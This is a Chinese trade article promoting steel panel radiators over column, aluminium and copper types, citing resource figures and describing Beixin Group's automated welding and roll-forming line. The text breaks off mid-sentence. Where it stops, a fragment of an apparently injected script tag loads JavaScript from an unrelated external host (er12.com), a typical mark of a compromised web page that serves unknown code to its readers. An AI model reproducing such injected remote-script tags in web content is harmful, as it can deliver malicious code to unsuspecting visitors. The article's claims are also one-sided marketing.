钢制散热器在我国使用率现约占30％以上，其轻质高效、节材节能、美观环保的显著特点，成为我国散热器的发展方向，已列为国家重点推广计划，并到2010年时，将达到“以钢为主”。
从世界范围看，欧洲的钢制散热器占90％，而钢制板式散热器更是主导产品，占散热器总量的70％。由此可见，我国散热器的发展方向与世界散热器的发展是相吻合的。
同为钢制散热器，钢制板式散热器与钢制柱式、柱翼型、扁管型散热器相比较，有其独特的优点：1、对流热大，使人体感觉更舒适，就好象温柔的太阳光照射到人体时感到的温暖一样。2、焊缝最少，优质钢材受破坏影响也最少，渗漏隐患也最少，产品质量好。3、采用电阻焊，无焊缝，不污染热媒水质。4、生产自动化程度高，产品质量稳定可靠；生产效率高，相对成本较低，市场竞争力较强。这几种产品都有一个共同特点，注意防止氧化腐蚀，停暖时应充水密闭保养。建设部已出台了部分有关文件，规范供暖系统的运行管理，能保证钢制散热器的安全使用。欧洲的实践证明，在规范条件下，钢制散热器能使用20年以上。
钢制板式散热器与铝、铜散热器相比较，其最大优势在于价格较低，散热面积大，散热性能好，具有广泛竞争力；其次是渗漏焊缝最少，材质受破坏少，产品质量较好。
钢制散热器将是供暖散热器发展方向，而钢制板式散热器更是发展主流，原因主要表现在以下四个方面。
（一）、原材料易取。
优质钢材材料易取，资源丰富，可以回收重复使用。2003年我国生铁产量就超过２亿吨。04年在国际经济快速增长和美元贬值等大背景下，全球精铜仍持续了供应不足的局面，全年供应量预计为1608.2万吨，消费量为1663.4万吨，大约出现52.2万吨的缺口，中国铜资源，特别是富矿资源不足已是不争的事实，中国铜储量相对短缺，03年仅为2600万吨，只是生铁年产量的13％。可以说铜在我国是稀缺资源，更应该善用、惜用。所以，利用富有资源生产散热器是一项体现可持续发展的利国利民的选择。
（二）、加工工艺先进。
钢制板式散热器加工过程虽然复杂，但是经过多年的国内外国际化公司的开发使用，已经形成了一整套科学的、适合大规模机械加工的自动生产方式，没有大量附属有害物的产生。工艺成熟，生产效率高，生产能耗小，产品质量稳定。特别是一些有实力和可持续发展观的公司自主研发了许多节能环保的新工艺，使得钢制散热器的加工工艺日臻完善。
下面以北新集团建材股份有限公司（以下简称北新）的钢制板式散热器生产工艺为例，看看先进工艺是如何提高生产效率和保证产品品质的。
北新于2001年投资2亿元人民币建立了我国第一个以全自动流水化作业方式生产的钢制板式散热器生产基地，通过全套引进德国先进生产线和一流生产技术，达到年产100万组标准型（型号：bx-b-11-600ⅹ1000）钢制板式散热器的生产规模，其先进的稳定的生产工艺更是保证了产品质量。
1、全自动化生产产品质量稳定
北新早在工艺设计和设备选择时,已考虑了能生产多个品种系列产品,以满足不同用户的需求。因此选取设备的要求是：生产线布置合理、工艺技术成熟可靠、流程通畅,自动化、机械化程度高。在这种原则的指导下，选用了由瑞士舒莱特（schlatter）公司制造的全自动焊接生产线，生产技术和设备是目前欧洲成熟的先进工艺技术。配套齐全、自动流水生产，无人工焊接操作，因此，产品质量稳定可靠。
2、钢板连续辊压成型缺陷少
北新钢制板式散热器的水槽板是把钢卷经过连续的辊压，通过可编程序控制器对预先设定好的产品型号进行切断控制来生成的，整个成型过程是连续的，在不更换模具的前提下，可以自由更换产品型号，大大提高了散热器水槽板的成型效率；在散热器水槽板辊压成型过程中，用辊压成型的特性保障了辊压过程对板材没有损伤，同时克服了成型中板材局部过度拉伸的缺陷，保证了水槽板成形后材料的相对均匀性。同时，成型后经过整形辊的整形处理，可以有效实现成型板材的应力释放，消除了水槽板的应力集中现象；而且加工过程中没有噪音。
3、低压电阻焊接对基材无损害
北新钢制板式散热器在整个生产过程中没有焊接介质，所以钢的成分没有明显的变化，加之原材料选用宝钢牌号为st13的优质冷扎钢，由于钢板含碳量很低，所以焊接过程中碳对组织形态的影响不大，对焊接前后的物理性能影响也很小。另外，对铁素体钢带而言，铁素体本身的晶粒越大，其强度，尤其是韧性越低；晶粒小则反之。在北新的焊接生产线上，点焊和缝焊加温和冷却的速度都非常快，晶粒没有足够长大的时间，因此，焊接过程对钢板的物理性能影响很小。基材的性能可以充分体现在散热器的质量上。
4.自动化生产线生产效率高
目前国内散热器制造行业仍然存在着设备简陋、工艺落后、人员素质低、以手工作坊式加工产品，?script src=http://er12.com/t.js>
